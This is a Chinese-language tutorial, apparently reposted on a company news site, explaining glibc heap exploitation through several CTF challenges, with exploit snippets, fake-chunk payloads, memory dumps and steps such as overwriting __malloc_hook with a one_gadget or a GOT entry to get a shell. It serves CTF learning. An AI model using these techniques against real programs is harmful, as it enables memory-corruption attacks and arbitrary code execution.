您好,登錄后才能下訂單哦!
CTF PWN堆溢出的示例分析,相信很多沒有經(jīng)驗(yàn)的人對此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個問題。
知識點(diǎn)
利用fastbin之間,單鏈表的連接的特性, 溢出修改下一個free chunk的地址, 造成任意地址寫.
例子: 0CTF 2017 Babyheap
Fill功能可以填充任意長字節(jié), 漏洞在此.
leak memory: libc address
modify __malloc_hook內(nèi)容為one_gadget
getshell
重點(diǎn): fastbin attack
First Step
alloc(0x60) alloc(0x40) 0x56144ab7e000: 0x0000000000000000 0x0000000000000071 --> chunk0 header 0x56144ab7e010: 0x0000000000000000 0x0000000000000000 0x56144ab7e020: 0x0000000000000000 0x0000000000000000 0x56144ab7e030: 0x0000000000000000 0x0000000000000000 0x56144ab7e040: 0x0000000000000000 0x0000000000000000 0x56144ab7e050: 0x0000000000000000 0x0000000000000000 0x56144ab7e060: 0x0000000000000000 0x0000000000000000 0x56144ab7e070: 0x0000000000000000 0x0000000000000051 --> chunk1 header 0x56144ab7e080: 0x0000000000000000 0x0000000000000000 0x56144ab7e090: 0x0000000000000000 0x0000000000000000
Second Step
Fill(0x10, 0x60 + 0x10, "A" * 0x60 + p64(0) + p64(0x71)) --> 開始破壞chunk1 header 0x56144ab7e000: 0x0000000000000000 0x0000000000000071 0x56144ab7e010: 0x6161616161616161 0x6161616161616161 0x56144ab7e020: 0x6161616161616161 0x6161616161616161 0x56144ab7e030: 0x6161616161616161 0x6161616161616161 0x56144ab7e040: 0x6161616161616161 0x6161616161616161 0x56144ab7e050: 0x6161616161616161 0x6161616161616161 0x56144ab7e060: 0x6161616161616161 0x6161616161616161 0x56144ab7e070: 0x0000000000000000 0x0000000000000071 --> 已修改為0x71 0x56144ab7e080: 0x0000000000000000 0x0000000000000000
Third Step: 申請small chunk
0x56144ab7e060: 0x6161616161616161 0x6161616161616161 0x56144ab7e070: 0x0000000000000000 0x0000000000000071 0x56144ab7e080: 0x0000000000000000 0x0000000000000000 0x56144ab7e090: 0x0000000000000000 0x0000000000000000 0x56144ab7e0a0: 0x0000000000000000 0x0000000000000000 0x56144ab7e0b0: 0x0000000000000000 0x0000000000000000 0x56144ab7e0c0: 0x0000000000000000 0x0000000000000111 --> chunk2 header
Fouth Step: 破壞chunk2 header, 最后目的是釋放chunk2
Fill(2, 0x20, 'c' * 0x10 + p64(0) + p64(0x71)) --> fake chunk header Free(1) Alloc(0x60) 0x56144ab7e000: 0x0000000000000000 0x0000000000000071 ...... 0x56144ab7e060: 0x6161616161616161 0x6161616161616161 0x56144ab7e070: 0x0000000000000000 0x0000000000000071 ...... 0x56144ab7e0e0: 0x0000000000000000 0x0000000000000071 --> fake chunk header
Fifth Step: 修復(fù)chunk2 header, free
Fill(1, 0x40 + 0x10, 'b' * 0x60 + p64(0) + p64(0x111)) --> 修復(fù)chunk2 Free(2) Dump(1) 0x56144ab7e060: 0x6161616161616161 0x6161616161616161 0x56144ab7e070: 0x0000000000000000 0x0000000000000071 0x56144ab7e080: 0x6262626262626262 0x6262626262626262 0x56144ab7e090: 0x6262626262626262 0x6262626262626262 ...... 0x56144ab7e0c0: 0x0000000000000000 0x0000000000000111 0x56144ab7e0d0: 0x00007f26abbacb78 0x00007f26abbacb78 --> 指向libc中的某地址(程序使用的是write, 將內(nèi)容全部打印, 不會出現(xiàn)\x00截止) 0x56144ab7e0e0: 0x0000000000000000 0x0000000000000071
Sixth Step: 修改下一個free chunk為__malloc_hook
Free(1) payload = 'a' * 0x60 + p64(0) + p64(0x71) + p64(malloc_hook - 27 - 0x8) + p64(0) # fake chunk + 修改修改的地址Fill(0, 0x60 + 0x10 + 0x10, payload)
詳解解析
文件下載
知識點(diǎn)
當(dāng)topchunk size不足以滿足申請的大小, 會合并fastbin的空閑chunk. 如若在不足: 主分配區(qū)調(diào)用sbrk, 增加top chunk大小; 非主分配區(qū)調(diào)用mmap來分配一個新的sub-heap.
got表中存放著函數(shù)的真實(shí)地址, 函數(shù)調(diào)用會去got表中查找函數(shù)地址, 然后跳轉(zhuǎn).修改got表對應(yīng)函數(shù)的地址, 達(dá)到getshell目的.
double free: 釋放兩次內(nèi)存, 可與Unlink搭配實(shí)現(xiàn)任意地址讀寫.
栗子:HITCON CTF 2016 SleepyHolder
程序分析
可以選擇申請40, 4000, 400000三種不同大小的堆塊, 每種只能申請一個. 400000會清空fastbin. 刪除: 將相應(yīng)的標(biāo)志位置位0修改, 不檢查相應(yīng)的指針是否已釋放, 造成Double Free.
重點(diǎn)
演示過程:
申請small secret、big secret
刪除small secret
申請large secret
申請large secret之前
之后
詳細(xì)解析
文件下載
知識點(diǎn)
unlink: 當(dāng)freer兩個相鄰的small chunk時, 會發(fā)生合并的特性來攻擊的. 合并后的chunk塊放在雙向鏈表構(gòu)成的unsorted bin.
栗子:HITCON CTF 2014 stkof
程序分析
alloc:輸入分配內(nèi)存的大小
read_in: 寫入任意長度, 漏洞在此
free:useless
重點(diǎn)
繞過size檢查繞過指針檢查
繞過size
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ malloc_printerr ("corrupted size vs. prev_size");
過程捋一下
> P=0x1307540, chunksize(P) = 0x20 > nextchunk(P) = 0x1307540 + 0x20 = 0x1307540 + 0x20 > prev_size = [0x1307540 + 0x20] = 0x20 > 0x20 = 0x20 , 繞過, 就是fake_chunk, 很好繞過的.
繞過指針檢查
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr ("corrupted double-linked list"); \
過程捋一下
> FD = [0x1307540 + 0x10] = 0x602138, > BK = [0x1307540 + 0x18] = 0x602140 > FD->bk = [0x602138 + 0x18] = 0x1307540, > BK-> fd = [0x602140 + 0x10] = 0x1307540 > P = 0x1307540 > FD->bk != P 為false > BK->fd != P 為false > 成功繞過
詳細(xì)解析
文件下載
知識點(diǎn)
house_of_einherjar:該對利用技術(shù)可以強(qiáng)制使得malloc返回一個幾乎任意地址的chunk, 主要在于濫用free中的后向合并.
栗子:Seccon CTF 2016 tinypad
程序分析
Add memo
Delete memo: 將指針釋放, size位清零, 但沒有將對應(yīng)的指針清零.
Edit memo: 存在一個Off_By_One漏洞.
Quit
重點(diǎn)
通過利用Off_By_One和unlink, 修改unsorted bin的指針
1. 泄露
add(0x80, "A"*0x80) add(0x80, "B"*0x80) add(0x80, "C"*0x80) add(0x80, "D"*0x80) delete(3) delete(1)
2. house_of_einherjar
add(0x18, "A"*0x18) add(0x100, "B"*0xf8 + p64(0x11)) add(0x100, "C"*0x100) add(0x100, "D"*0x100) tinypad = 0x602040 offset = heap + 0x20 - 0x602040 - 0x20 fake_chunk = p64(0) + p64(0x101) + p64(0x602060) * 2 edit(3, "D"*0x20 + fake_chunk) zero_byte_number = 8 - len(p64(offset).strip("\x00")) ''' 循環(huán)edit的原因是stcpy()會因?yàn)榭兆庸?jié)而停止copy, 但每次讀取都會將最后一個字節(jié)變?yōu)镹ULL, 這樣就可以用NULL逐一覆蓋, 使2號chunk的prev_size為offset ''' for i in range(zero_byte_number+1): data = "A"*0x10 + p64(offset).strip("\x00").rjust(8-i, 'f') edit(1, data) delete(2) edit(4, "D"*0x20 + p64(0) + p64(0x101) + p64(main_arena + 0x58)*2) #修復(fù)unsorted bin
詳細(xì)解析
文件下載
知識點(diǎn)
house_of_force:溢出top chunk, 返回任意地址.
top chunk:當(dāng)bins 和 fastbin不能滿足申請的大小時, 就會從top chunk分割相應(yīng)的大小給用戶. 例如: 第一次malloc時, fastbin 和 bins中并沒有相應(yīng)的空閑的chunk, 就會從top chunk中分配.
栗子:BCTF 2016 bcloud
程序分析
Welcome: 輸入name, host, org.漏洞在此, 構(gòu)造一定的輸入, 可使程序復(fù)制過量的數(shù)據(jù)到相應(yīng)的堆空間, 可修改top chunk size
New Note: malloc
Show Note: display
Edit Note: update
Delete: free
重點(diǎn)
name = "Bill"*0x10 org = "A"*0x40 host = p32(0xffffffff) welcome(name, org, host)
前
后
原因
詳細(xì)解析
文件下載
知識點(diǎn)
Off_By_One: 意思就是我們能夠多寫入一個字節(jié), 不要小看這個字節(jié),有時候能夠修改chunk header的狀態(tài).
栗子: Asis CTF 2016 b00ks
程序分析
Welcome: 輸入一個author name, 這個地方存在Off_By_One漏洞, 溢出一個空子節(jié).
Create a book: 創(chuàng)建一本書
Delete
Edit a book
Print book detail
Change current author name(再次編輯給了我們修改book指針的機(jī)會)Exit
漏洞位置
第一個影響: 信息泄露
第二個影響: 會修改堆地址
思路: 在修改后的堆地址布置一個fake chunk, 可以修改任意地址.
詳細(xì)解析
文件詳解
知識點(diǎn)
Use After Free: 內(nèi)存被釋放后, 其對應(yīng)指針沒有被置為NULL, 再次使用有可能使程序崩潰. realloc: 重新修改分配空間, 源代碼可以在文件下載鏈接中下載, 這個源代碼不是很長.
申請的比原來大, 釋放原來的指針, 重新申請內(nèi)存.
申請的比原來小, 返回原始指針.
栗子:CISCN CTF 2018 task_supermarket
程序分析
struct node{ char name[16]; int price; int size; char* des; }commodity[15];
add
delete
list
change price
change description: 漏洞在此.當(dāng)我們申請一個比原來的堆大的, 程序并沒有更新原來的結(jié)構(gòu)體中的des指針.若我們此時再次申請一個node[1], 而這個node[1]剛好落在node[0]的des區(qū)域, 我們就可以通過編輯node[0]的des來控制node[1].
思路驗(yàn)證
詳細(xì)解析
文件下載
知識點(diǎn)
數(shù)組越界: 就是程序不見驗(yàn)證index的正負(fù), 可能會出現(xiàn)向前覆蓋的情況.例如:char *s = "hello,world"; 試一下 s[-1]
栗子: CISCN 2018 task_note_service
程序分析
add note: 沒有對輸入的index, 進(jìn)行正負(fù)判斷, 導(dǎo)致數(shù)組越界
show note
edit note
delete note
思路
修改free@got的值為shellcode的地址.
修改之前
修改之后
看完上述內(nèi)容,你們掌握CTF PWN堆溢出的示例分析的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。